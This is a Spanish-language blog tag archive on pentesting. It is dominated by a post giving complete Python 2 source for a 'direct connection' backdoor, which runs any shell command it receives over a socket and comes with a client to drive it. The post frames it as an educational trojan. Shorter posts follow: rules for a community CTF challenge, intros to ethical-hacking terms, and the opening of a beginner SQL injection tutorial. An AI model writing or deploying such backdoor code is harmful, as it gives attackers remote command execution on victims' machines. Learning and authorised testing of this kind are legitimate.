Tag Archive PENTEST

BySin Rostro

Creando un backdoor en python

Vamos a crear un backdoor en python😈😈😈😈😈😈😈😈😈, para que nos ayude en nuestras pruebas de pentest, nos servira cuando no podamos hacer uso de otros metodos de backdoring.

 

Este backdoor es de Conexion Directa. Trate de dejarlo lo mas comentado posible Saludos Hackers.

import sys, os
import socket
import getopt
import threading
import subprocess

# Definimos algunas variables globales
listen             = False
command            = False
target             = ""
port               = 0

# Vamos a definir una funcion que nos provea 
# de ayuda
def usage():
    print "\n\tTroyano de Conexion Directa"
    print 
    print "Uso: backdoor.py -t target_host -p port"
    print "-l --listen                       escuchar en [host]:[port]"
    print "-s --shell                      inicializa una shell"
    print
    print
    print "Ejemplos: "
    print "python backdoor.py -t 192.168.1.1 -p 5555 -l -s"
    print "\tPara dejar en escucha una shell"
    print "python backdoor.py -t 192.168.1.1 -p 5555"
    print "\tPara conectarse a una shell"
    print "\nSimple Backdoor de Conexion Directa para los"
    print "Miembros de la Comunidad de Hacking Publico & Sistemas Informaticos"
    print "el Creador de este codigo o cualquier Miembro de Hacking Publico"
    print "NO se hacen responsables por el uso que le puedan dar a este codigo,"
    print "el cual esta hecho con fines Educativos."
    sys.exit(0)

# Funcion que se encargara de el cliente
# osea la computadora que se conecta al 
# backdoor 
def client_sender():
    # Creamos el socket
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        # Hacemos la conexion al servidor/backdoor
        cliente.connect((target, port))
        # Aqui solo te pregunto tu nickname
        nickname = raw_input("Cual es tu nickname ? ")
        # Lo concateno (Tu nick) con otra cadena
        nickname += "@hacker ~:#"
        # Envio un whoami (Para que sepamos que 
        # usuario somos en el equipo comprometido)
        cliente.send("whoami")
        # Recibimos el usuario
        usuario = cliente.recv(1024)
        # Y lo imprimimos
        print "Eres el usuario: \t%s" % usuario
        
        while True:
            # Esperamos por mas input           
            buff = raw_input("%s " % nickname)
            
            # Enviamos comando
            cliente.send(buff)
            # El data es la respuesta del comando 
            # que Enviamos
            data      = cliente.recv(1024)

            print data
            
            # Si el comando es "exit"
            # nos desconectamos del servidor/backdoor
            # si es limpiar pantalla 
            # la limpiamos 
            try:
                if "exit" in buff:
                    cliente.send("exit")
                    cliente.close()
                    print "Bye, Bye!!!"
                    break     
                if "cls" or "clear" in buff:
                    if os.name('nt'):
                        os.system("cls")
                    else:
                        os.system("clear")
            except:
                continue
                        
    except:
        # Si hubo un error se produce una Excepcion
        # y salimos del script
        print "[*] Excepcion! Saliendo!!!"
        cliente.close()
        
def server_loop():
    global target
    
    # Si no indicamos la opcion -t
    # el server toma esta direccion
    if not len(target):
        target = "0.0.0.0"
    
    # Creamos el socket para las conexiones 
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)
    
    # Creamos un hilo por cada cliente que se conecte
    try:
        while True:
            client_socket, addr = server.accept()
            
            client_thread = threading.Thread(target=client_handler,
                                             args=(client_socket,))
            print "[*] Nuevo cliente conectado %s" % socket.gethostname()
            client_thread.start()
            
    except KeyboardInterrupt:
        print "Se ha detenido el server"
        sys.exit(1)        
        
        
def run_command(command):

    command = command.rstrip()

    
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, 
                                         shell=True)
    except:
        output = "Fallo al ejecutar el comando.\r\n"
 
    return output

def client_handler(client_socket):
    global command
     
    if command:
        while True:
            

            cmd_buff = client_socket.recv(1024)

            if "exit" in cmd_buff:
                print "El cliente %s se DESCONECTO." % socket.gethostname()
                client_socket.close()
                break                    
            
            response = run_command(cmd_buff)
            
            client_socket.send(response)
            
def main():
    global listen
    global port
    global command
    global target
    
    # aqui verificamos que el usuario haya
    # dado opciones, si no, imprime el modo
    # de uso (funcion usage() )
    if not len(sys.argv[1:]):
        usage()
    
    # Si el usuario dio opciones las leemos 
    # para verificar que sean validas, despues 
    # ejecutar lo correspondiente
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hlt:p:s", ["help", "listen", "target",
                                                             "port", "shell"])
    except getopt.GetoptError as err:
        print str(err)
        usage()
    
    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-s", "--shell"):
            command = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)     
        else:
            assert False, "Opcion no valida"
            
    if not listen and len(target) and port > 0:
        client_sender()
    if listen:
        server_loop()

main()

 

BySin Rostro

Reglas del juego

Hola Amigos como sabran se ha preparado un reto en el grupo de hacking público HPSI. La intención de este es aprender y divertirnos un poco.

Debido a que este se anunció hace una semana solo los usuarios que quisieron unirse a este reto podrán resolverlo.

A continuación detallo las reglas e instrucciones para resolverlo.

Reglas

  1. Está estrictamente prohibido hacer DoS o DDoS a la infraestructura

  2. Recuerda que estaras siendo vigilado todo el tiempo 😉😉😉

  3. Trata de no dañar los escenarios ya que no seras el unico que quiere usarlas

  4. Diviértete

Instrucciones

  1. Consigue todas las flags

  2. Se te pedira tu IP ya que solo podras accesar a la plataforma atraves de ella

  3. Se avisara por mensaje a los participantes cuando es su turno cada uno tiene 2 horas para completar le reto

  4. Hackea!!!!

  5. DIVIÉRTETE

Bycarenki

Terminología del Ethical Hacking

Comprender y poder definir la terminología es una parte importante de la responsabilidad de un CEH. Esta terminología es la forma los profesionales de seguridad como hackers éticos se comunican.

Este “lenguaje” del hacking es necesario como base de los conceptos de capítulos posteriores. A continuación presentaremos una serie de términos con los cuales requiere estar familiarizado para presentar el examen de certificación CEH:

Read More

Bycarenki

¿Qué es lo que hace un Hacker Ético?

Los hackers éticos son motivados por diferentes razones, pero su propósito generalmente es el mismo que el de los Crackers: Tratan de determinar lo que un intruso puede ver en una red o sistema específico,  y ​​lo que el hacker puede hacer con esa información. Este proceso de prueba de la seguridad de un sistema o red se conoce como una prueba de penetración, o pen test.

Read More

BySin Rostro

La Receta para SQLi (para novatos)

Hola Hackers en esta entrada veremos una inyección SQL muy básica es para novatos (así que si ya eres un viejo lobo en estos temas tal vez te parezca un poco aburrido), veremos un poco de teoría, no mucha ya saben que casi no me gusta y un pequeño ejemplo para que quede un poco mas claro.

LOS INGREDIENTES.

  • SQL
  • INYECCIONES SQL
  • Algunos comandos y funciones

 

SQL

Structured Query Language, traducido al español como Lenguaje de Consulta Estructurado es un lenguaje de programación estándar e interactivo para obtener información desde una base de datos y para actualizarla. Dicho en una manera mas amena y entendible podemos decir que con SQL podemos interactuar con una base de datos modificarla y hasta eliminar todo su contenido. Basaremos este tutorial en MYSQL.

INYECCIONES SQL

EL SQLi es una vulnerabilidad muy antigua pero muy común, que ocurre al no hacer una correcta verificación o delimitación de los datos de entrada que van dirigidos hacia el servidor y posteriormente a la base de datos. Por ende los datos de entrada que no se verifican deben ser comandos validos de SQL. Existen 2 métodos de inyección el GET y POST.

Algunos comandos y funciones

Ahora veremos algunos comandos que nos podrán servir, no los veremos a fondo ya que no es un mini curso de SQL. Pero esta demás saber que existen muchos mas comandos y funciones que los que utilizaremos. Además también existen parámetros que se pueden aplicar a cada comando/funciones como el de DISTINCT a la función GROUP_CONCAT, en fin no nos toca eso.

  1. UNION  – se usa para combinar el resultado de un numero de comandos
  2. SELECT – se usa para seleccionar datos
  3. INSERT – se usa para agregar datos
  4. DELETE – se usa para eliminar datos
  5. UPDATE – se usa para actualizar datos existentes
  6. GROUP_CONCAT – se usa para concatenar todos los registros (no importa si no entienden bien mas adelante se apreciara mejor)
  7. ORDER BY – ordena los registros de la selección actual.
  8. Los demas que usaremos son más sencillos de entender.

Read More